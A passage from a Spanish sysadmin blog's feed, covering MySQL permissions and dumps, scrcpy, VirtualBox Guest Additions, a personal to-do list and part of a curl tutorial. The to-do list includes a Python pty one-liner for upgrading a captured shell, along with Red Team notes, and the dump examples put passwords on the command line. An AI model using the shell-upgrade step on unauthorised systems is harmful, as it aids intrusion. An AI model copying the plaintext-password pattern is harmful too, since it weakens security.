&lt;pre tabindex="0" class="chroma">&lt;code class="language-sql" data-lang="sql">&lt;span class="line">&lt;span class="cl">&lt;span class="k">GRANT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">permiso&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">ON&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">databse&lt;/span>&lt;span class="p">].[&lt;/span>&lt;span class="k">table&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">TO&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="s1">&amp;#39;[user1]&amp;#39;&lt;/span>&lt;span class="o">@&lt;/span>&lt;span class="s1">&amp;#39;localhost&amp;#39;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="k">GRANT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">ALL&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">PRIVILEGES&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">ON&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">TO&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="s1">&amp;#39;user1&amp;#39;&lt;/span>&lt;span class="o">@&lt;/span>&lt;span class="s1">&amp;#39;localhost&amp;#39;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Una vez que has finalizado con los permisos que deseas configurar para tus nuevos usuarios, hay que asegurarse siempre de refrescar todos los privilegios.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-sql" data-lang="sql">&lt;span class="line">&lt;span class="cl">&lt;span class="n">FLUSH&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">PRIVILEGES&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Si necesitas remover un permiso, la estructura es casi idéntica a la que los asigna:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-sql" data-lang="sql">&lt;span class="line">&lt;span class="cl">&lt;span class="k">REVOKE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">permiso&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">ON&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">databse&lt;/span>&lt;span class="p">].[&lt;/span>&lt;span class="k">table&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">FROM&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="s1">&amp;#39;[user1]&amp;#39;&lt;/span>&lt;span class="o">@&lt;/span>&lt;span class="s1">&amp;#39;localhost&amp;#39;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="dump-de-la-base-de-datos-y-restauración">Dump de la base de datos y restauración&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">/bin/mysqldump -c -u admin -ppassword databasename tablename &amp;gt; /tmp/databasename.tablename.sql
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">bin/mysql -u admin -ppassword databasename &amp;lt; /tmp/databasename.sql
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div></description></item><item><title>Android cast screen to Linux</title><link>https://www.procamora.com/p/android_cast_screen_to_linux/</link><pubDate>Sun, 10 May 2020 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/android_cast_screen_to_linux/</guid><description>&lt;img src="https://www.procamora.com/covers/android.png" alt="Featured image of post Android cast screen to Linux" />&lt;p>Summary: La aplicación_ scrcpy_ proporciona la visualización y control de dispositivos Android conectado por USB, aunque también tiene compatibilidad con el control por TCP/IP. No requiere acceso root y es multiplataforma, funcionando sobre Windows, Linux Y macOS.
Status: published&lt;/p>
&lt;p>La aplicación &lt;a class="link" href="https://github.com/Genymobile/scrcpy" target="_blank" rel="noopener"
>scrcpy&lt;/a> proporciona la visualización y control de dispositivos Android conectado por USB, aunque también tiene compatibilidad con el control por TCP/IP. No requiere acceso root y es multiplataforma, funcionando sobre Windows, Linux Y macOS.&lt;/p>
&lt;p>Sus características son:&lt;/p>
&lt;ul>
&lt;li>Ligero (nativo, muestra sólo la pantalla del dispositivo).&lt;/li>
&lt;li>Rendimiento (30 ~ 60 fps).&lt;/li>
&lt;li>Calidad (1920 × 1080 o más).&lt;/li>
&lt;li>Baja latencia (35 ~ 70ms).&lt;/li>
&lt;li>Bajo tiempo de inicio (~ 1 segundo para mostrar la primera imagen).&lt;/li>
&lt;li>No intrusivo (no se deja nada instalado en el dispositivo).&lt;/li>
&lt;/ul>
&lt;p>&lt;img src="https://www.procamora.com/images/2020/20200510_android_cast.png"
loading="lazy"
alt="android_cast"
>{:height=&amp;ldquo;auto&amp;rdquo; width=&amp;ldquo;100%&amp;rdquo;}&lt;/p>
&lt;h1 id="instalación">Instalación&lt;/h1>
&lt;p>Requisitos previos:&lt;/p>
&lt;ul>
&lt;li>El dispositivo Android requiere al menos la API 21 (Android 5.0).&lt;/li>
&lt;li>Tener habilitado la depuración &lt;em>adb&lt;/em> en el dispositivo.&lt;/li>
&lt;/ul>
&lt;p>Para instalarlo en Fedora podemos usar el gestor de paquetes &lt;em>snap&lt;/em>:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo snap install scrcpy
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">snap connections scrcpy
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo snap connect scrcpy:network :network
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo snap connect scrcpy:network-bind :network-bind
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo snap install core
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;blockquote>
&lt;p>En Ubuntu 20.04 ya se puede instalar desde el repositorio oficial.&lt;/p>
&lt;/blockquote>
&lt;h1 id="uso">Uso&lt;/h1>
&lt;p>Un ejemplo básico de uso sería el siguiente:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">scrcpy --max-size &lt;span class="m">1920&lt;/span> --max-fps &lt;span class="m">60&lt;/span> --fullscreen
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="rotación">Rotación&lt;/h2>
&lt;p>La ventana puede ser rotada con:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">scrcpy --rotation &lt;span class="m">1&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Los posibles valores son:&lt;/p>
&lt;ul>
&lt;li>0: no hay rotación.&lt;/li>
&lt;li>1: 90 grados en sentido contrario a las agujas del reloj.&lt;/li>
&lt;li>2: 180 grados.&lt;/li>
&lt;li>3: 90 grados en el sentido de las agujas del reloj.&lt;/li>
&lt;/ul>
&lt;h2 id="grabación">Grabación&lt;/h2>
&lt;p>Es posible grabar la pantalla mientras se refleja con el comando:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">scrcpy --record file.mp4
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">scrcpy --record file.mkv
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Para deshabilitar el espejo mientras se graba:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">scrcpy --no-display --record file.mp4
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;blockquote>
&lt;p>Interrumpir la grabación con Ctrl+C
Ctrl+C no termina correctamente en Windows, así que desconecta el dispositivo.&lt;/p>
&lt;/blockquote></description></item><item><title>VirtualBox Guest Additions</title><link>https://www.procamora.com/p/virtualbox_guest_additions/</link><pubDate>Tue, 07 Apr 2020 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/virtualbox_guest_additions/</guid><description>&lt;img src="https://www.procamora.com/covers/linux.png" alt="Featured image of post VirtualBox Guest Additions" />&lt;p>Para instalar los Guest Additions en VirtualBox desde la ISO que proporciona, es necesario compilarlos y por ende tener las librerías de compilación necesarias. Estas librerías son:&lt;/p>
&lt;h2 id="debian--ubuntu--linux-mint">Debian / Ubuntu / Linux Mint&lt;/h2>
&lt;p>En sistemas basados en Debian habría que instalar las siguientes herramientas de compilación, después reiniciar y ya después montar la ISO y ejecutar el script.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo apt install gcc make perl dkms linux-headers-&lt;span class="k">$(&lt;/span>uname -r&lt;span class="k">)&lt;/span> build-essential
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">reboot
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Montar ISO y ejecutar script&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Como excepción, en Ubuntu podemos instalar los Guest Additions directamente desde los repositorios con:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo apt install virtualbox-guest-x11 virtualbox-guest-utils virtualbox-guest-dkms
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="fedora">Fedora&lt;/h2>
&lt;p>En Fedora los Guest Additions ya vienen instalados por defecto por lo que no debería ser necesario hacer nada, pero en caso de querer instalarlos desde el ISO, habría que instalar:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf update kernel*
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dnf install gcc automake make kernel-headers kernel-devel perl dkms elfutils-libelf-devel
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Montar ISO y ejecutar script&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="opensuse">openSUSE&lt;/h2>
&lt;p>En openSUSE habría que instalar las siguientes herramientas de compilación, y ya después montar la ISO y ejecutar el script.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo zypper install gcc make dkms kernel-devel kernel-default-devel
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Montar ISO y ejecutar script&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>&lt;a class="link" href="https://www.linuxuprising.com/2019/01/manual-virtualbox-guest-additions.html" target="_blank" rel="noopener"
>https://www.linuxuprising.com/2019/01/manual-virtualbox-guest-additions.html&lt;/a>&lt;/p></description></item><item><title>Tareas Pendientes</title><link>https://www.procamora.com/p/tareas_pendientes/</link><pubDate>Tue, 31 Mar 2020 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/tareas_pendientes/</guid><description>&lt;img src="https://www.procamora.com/covers/draft.png" alt="Featured image of post Tareas Pendientes" />&lt;ul>
&lt;li>&lt;input disabled="" type="checkbox"> Testear OpenVPN y WireGuard&lt;/li>
&lt;li>&lt;input disabled="" type="checkbox"> Testear OpenVPN con push routing&lt;/li>
&lt;li>&lt;input disabled="" type="checkbox"> Porbar a poner routa estatica en tpc, para que acceda a red proxmox (sudo ip route add 10.0.0.0/16 via 192.168.1.254)&lt;/li>
&lt;li>&lt;input disabled="" type="checkbox"> Leer Paper WireGuard: Next Generation Kernel Network Tunnel&lt;/li>
&lt;li>&lt;input disabled="" type="checkbox"> get let&amp;rsquo;s encrypt certificate&lt;/li>
&lt;li>&lt;input disabled="" type="checkbox"> Probar asciiflow.com&lt;/li>
&lt;li>&lt;input disabled="" type="checkbox"> Upgrading Simple Shells to Fully Interactive TTYs (&lt;a class="link" href="https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/" target="_blank" rel="noopener"
>https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/&lt;/a>)&lt;/li>
&lt;li>&lt;input disabled="" type="checkbox"> python -c &amp;lsquo;import pty; pty.spawn(&amp;quot;/bin/bash&amp;quot;)&amp;rsquo;&lt;/li>
&lt;li>&lt;input disabled="" type="checkbox"> Makefile -&amp;gt; cat -e -t -v Makefile para detectar si se usan Tab (Bien) o espacios. Tiene que salir: ^M&lt;/li>
&lt;li>&lt;input disabled="" type="checkbox"> smbtree -b -N&lt;/li>
&lt;li>&lt;input disabled="" type="checkbox"> latexmk -pvc -pdf file.tex&lt;/li>
&lt;li>&lt;input checked="" disabled="" type="checkbox"> usar curl con interfaz especifica en promox para api flash&lt;/li>
&lt;li>&lt;input disabled="" type="checkbox"> Documentar proxmox + script remove suscription&lt;/li>
&lt;li>&lt;input disabled="" type="checkbox"> Ctrl + l -&amp;gt; para limiar terminal&lt;/li>
&lt;li>&lt;input disabled="" type="checkbox"> sudo -l -&amp;gt; para mostrar /etc/sudoers&lt;/li>
&lt;li>&lt;input disabled="" type="checkbox"> port knocking linux&lt;/li>
&lt;li>&lt;input disabled="" type="checkbox"> Vim -&amp;gt; :W == :w !sudo tee %&lt;/li>
&lt;li>&lt;input disabled="" type="checkbox"> Recabar informacion sobre reporistorio Red Team&lt;/li>
&lt;li>&lt;input disabled="" type="checkbox"> Recabar informacion sobre reporistorio fingerprint (snmp, smtp, http, etc)&lt;/li>
&lt;li>&lt;input disabled="" type="checkbox"> Comprobar BackupPC funciona scheluder&lt;/li>
&lt;li>&lt;input disabled="" type="checkbox"> Investgar sobre DetectionLab (&lt;a class="link" href="https://www.flu-project.com/2020/03/tu-laboratorio-de-Red-Team.html" target="_blank" rel="noopener"
>https://www.flu-project.com/2020/03/tu-laboratorio-de-Red-Team.html&lt;/a>&lt;/li>
&lt;li>&lt;input disabled="" type="checkbox"> Diseñar taza con nmap (2 imagenes con nmap)&lt;/li>
&lt;li>&lt;input checked="" disabled="" type="checkbox"> Proxmox probar health&lt;/li>
&lt;li>&lt;input disabled="" type="checkbox"> &lt;a class="link" href="https://docs.ansible.com/ansible/latest/user_guide/playbooks_intro.html" target="_blank" rel="noopener"
>https://docs.ansible.com/ansible/latest/user_guide/playbooks_intro.html&lt;/a>&lt;/li>
&lt;li>&lt;input checked="" disabled="" type="checkbox"> Crear script inserte cumpleaños telegram&lt;/li>
&lt;li>&lt;input checked="" disabled="" type="checkbox"> Invertigar mount sshfs (&lt;a class="link" href="https://wiki.archlinux.org/index.php/SSHFS_%28Espa%C3%B1ol%29" target="_blank" rel="noopener"
>https://wiki.archlinux.org/index.php/SSHFS_(Espa%C3%B1ol)&lt;/a>)&lt;/li>
&lt;li>&lt;input disabled="" type="checkbox"> &lt;a class="link" href="https://likegeeks.com/es/servidor-de-correo-linux-postfix/" target="_blank" rel="noopener"
>https://likegeeks.com/es/servidor-de-correo-linux-postfix/&lt;/a>&lt;/li>
&lt;li>&lt;input disabled="" type="checkbox"> &lt;a class="link" href="https://munahack.github.io/download.html" target="_blank" rel="noopener"
>https://munahack.github.io/download.html&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>Diseñar alias interesastes&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-gdscript3" data-lang="gdscript3">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># User specific aliases and functions&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">!&lt;/span> &lt;span class="n">ssh&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">add&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">l&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="o">/&lt;/span>&lt;span class="n">dev&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">null&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="n">eval&lt;/span> &lt;span class="s2">&amp;#34;$(ssh-agent -s)&amp;#34;&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="n">ssh&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">add&lt;/span> &lt;span class="o">~/.&lt;/span>&lt;span class="n">ssh&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">services&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Alias&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">alias&lt;/span> &lt;span class="n">ls&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;ls -lhGQ --color=auto&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">alias&lt;/span> &lt;span class="n">rm&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;echo Use trash, or the full path i.e. /bin/rm&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">alias&lt;/span> &lt;span class="n">which&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;alias | /usr/bin/which --tty-only --read-alias --show-dot --show-tilde&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">alias&lt;/span> &lt;span class="n">web&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;python3 -m http.server 8080&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Scripts&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">~/&lt;/span>&lt;span class="n">scripts&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">cargaKeyPi&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sh&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">export&lt;/span> &lt;span class="n">VISUAL&lt;/span>&lt;span class="o">=/&lt;/span>&lt;span class="n">usr&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">bin&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">vim&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">export&lt;/span> &lt;span class="n">EDITOR&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;$VISUAL&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div></description></item><item><title>Uso de curl</title><link>https://www.procamora.com/p/uso_de_curl/</link><pubDate>Thu, 19 Mar 2020 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/uso_de_curl/</guid><description>&lt;img src="https://www.procamora.com/covers/draft.png" alt="Featured image of post Uso de curl" />&lt;p>El comando &lt;em>curl&lt;/em> esta diseñado para verificar una url y ademas permite la transferencia de datos. Hace uso de la librería opensource &lt;em>libcurl&lt;/em> disponible en todas las distribuciones Linux.&lt;/p>
&lt;ul>
&lt;li>&lt;a class="link" href="#header0" >Operaciones básicas&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#header1" >HTTP con curl&lt;/a>:
&lt;ul>
&lt;li>&lt;a class="link" href="#mark0" >Gestión certificados&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark1" >User Agent&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark2" >Customize headers&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark3" >Referer&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark4" >Proxy con autenticación&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark5" >Cookies&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark6" >GET&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark7" >POST&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark8" >PUT&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark9" >DELETE&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark10" >PATCH&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark11" >MOVE&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark12" >OPTIONS&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark13" >MKCOL&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a class="link" href="#header2" >FTP/FTPS/SFTP/SCP con curl&lt;/a>:
&lt;ul>
&lt;li>&lt;a class="link" href="#mark14" >Descarga&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark15" >Subida&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a class="link" href="#header3" >SMB con curl&lt;/a>:&lt;/li>
&lt;li>&lt;a class="link" href="#header4" >LDAP/LDAPS con curl&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>El comando Curl es compatible con la siguiente lista de protocolos:&lt;/p>
&lt;ul>
&lt;li>HTTP y HTTPS&lt;/li>
&lt;li>FTP y FTPS&lt;/li>
&lt;li>IMAP e IMAPS&lt;/li>
&lt;li>POP3 y POP3S&lt;/li>
&lt;li>SMB y SMBS&lt;/li>
&lt;li>SFTP&lt;/li>
&lt;li>SCP&lt;/li>
&lt;li>TELNET&lt;/li>
&lt;li>GOPHER&lt;/li>
&lt;li>LDAP y LDAPS&lt;/li>
&lt;li>SMTP y SMTPS&lt;/li>
&lt;/ul>
&lt;h1 id="header0">Operaciones básicas&lt;/h1>
&lt;p>La sintaxis básica del comando es la siguiente:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">curl [OPTIONS] [URL]
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Algunas de las opciones mas relevantes son:&lt;/p>
&lt;ul>
&lt;li>-#, &amp;ndash;progress-bar Make curl display a simple progress bar instead of the more informational standard meter.&lt;/li>
&lt;li>-b, &amp;ndash;cookie &amp;lt;name=data&amp;gt; Supply cookie with request. If no =, then specifies the cookie file to use (see -c).&lt;/li>
&lt;li>-c, &amp;ndash;cookie-jar &lt;file name> File to save response cookies to.&lt;/li>
&lt;li>-d, &amp;ndash;data &lt;data> Send specified data in POST request. Details provided below.&lt;/li>
&lt;li>-f, &amp;ndash;fail Fail silently (don&amp;rsquo;t output HTML error form if returned).&lt;/li>
&lt;li>-F, &amp;ndash;form &amp;lt;name=content&amp;gt; Submit form data.&lt;/li>
